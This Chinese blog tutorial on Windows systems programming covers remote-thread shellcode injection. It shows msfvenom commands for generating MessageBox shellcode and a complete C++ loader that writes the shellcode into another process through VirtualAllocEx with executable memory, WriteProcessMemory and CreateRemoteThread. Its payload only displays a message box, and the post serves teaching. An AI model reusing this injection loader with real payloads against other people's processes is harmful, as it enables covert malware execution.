当前位置: 首页 > news >正文

【Windows系统编程】03.远线程注入ShellCode

  • shellcode:本质上也是一段普通的代码,只不过特殊的编程手法,可以在任意环境下,不依赖于原有的依赖库执行。

远程线程

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>int main(){HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,19328);//创建在另一个进程的虚拟地址空间中运行的线程//跨进程创建线程CreateRemoteThread(hProcess,NULL,NULL,)system("pause");return 0;
}
  • kali中借助生成shellcode:
    1. 桌面打开终端:
      msfconsole
      
    2. 搜索payload:
      search MessageBox
      use 2
      show options
      
    3. 另外打开一个终端:
      msfvenom -p windows/messagebox TEXT=WdIg -f c
      
    4. 回车,shellcode就出来了,复制出来就行了

然后我们来继续写代码:

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>//这里粘贴上复制出来的代码int main(){//打开进程HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 29020);//在指定进程的虚拟地址空间中保留、提交或更改内存区域的状态。//简单理解:指定进程上挖一个洞LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//跨进程写入内存SIZE_T dwWrittensize = 0;WriteProcessMemory(hProcess,lpBuffer,buf,257,&dwWrittensize);//创建远程进程DWORD ID;CreateRemoteThread(hProcess,   //指定进程句柄NULL,                      //安全属性NULL,                      //堆栈初始化大小(LPTHREAD_START_ROUTINE)lpBuffer,                       //函数指针,远程进程中,线程的起始地址NULL,                      //传递给线程函数的变量指针NULL,                      //创建标志,这里是立刻执行&ID                       //接收线程ID的指针);system("pause");return 0;
}

这里给出我写出的一个完整代码,ShellCode功能是MessageBox,显示文本为WdIg:

unsigned char buf[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x57\x64\x49\x67\x31\xc9\x88\x4c\x24\x04\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";int main()
{//打开进程HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 12568);//在指定进程的虚拟地址空间中保留、提交或更改内存区域的状态。//简单理解:指定进程上挖一个洞LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//跨进程写入内存SIZE_T dwWrittensize = 0;WriteProcessMemory(hProcess,lpBuffer,buf,257,&dwWrittensize);//创建远程进程DWORD ID;CreateRemoteThread(hProcess,   //指定进程句柄NULL,                      //安全属性NULL,                      //堆栈初始化大小(LPTHREAD_START_ROUTINE)lpBuffer,                       //函数指针,远程进程中,线程的起始地址NULL,                      //传递给线程函数的变量指针NULL,                      //创建标志,这里是立刻执行&ID                       //接收线程ID的指针);system("pause");return 0;
}

执行效果:
注入shellcode

这里的进程ID是任务管理器上看的,大家可以创建进程快照,遍历进程快照以注入到自己想要的进程中(上一篇文章有讲到)

http://www.lryc.cn/news/129751.html

相关文章:

  • 第1天----验证一个字符串是否是另一个字符串的子串
  • 项目实战第四十三讲:使用模版模式优雅实现财务编辑费用
  • [JavaWeb]【六】web后端开发-请求响应
  • uniapp websocket机制 心跳 重连
  • labelme安装以及标注自己的目标检测数据集
  • 归并排序JS
  • matlab 计算点云平均密度
  • c++ | uint8_t、uint16_t、unint32_t 和size_t
  • mysql 超大 sql 文件导入过程
  • 【悬挂绝缘子的串效模型】测量每个绝缘子盘之间的电压并测量串效研究(Simulink)
  • P3957 [NOIP2017 普及组] 跳房子
  • VR数字工厂多元化展现,打造数字企业工厂名片
  • uniapp封装组件,选中后右上角显示对号√样式(通过css实现)
  • 华为OD面试(部分)
  • 从零做软件开发项目系列之一综论软件项目开发
  • msvcp110.dll是什么意思,msvcp110.dll丢失的解决方法
  • 【报错】git push --set-upstream origin XXXX重名
  • 探索树算法:C语言实现二叉树与平衡树
  • Ubuntu 20.04(服务器版)安装 Anaconda
  • IDEA项目实践——JavaWeb简介以及Servlet编程实战
  • 【Freertos基础入门】队列(queue)的使用
  • 从零构建深度学习推理框架-8 卷积算子实现
  • 【Spring Boot】JdbcTemplate数据连接模板 — JdbcTemplate入门
  • 视频汇聚集中存储EasyCVR平台调用iframe地址视频无法播放,该如何解决?
  • 从今天起,重新出发
  • Java多态详解(1)
  • optee读取Arm系统寄存器的模板
  • VSCode 使用总结
  • GuLi商城-前端基础Vue-使用Vue脚手架进行模块化开发
  • LeetCode450. 删除二叉搜索树中的节点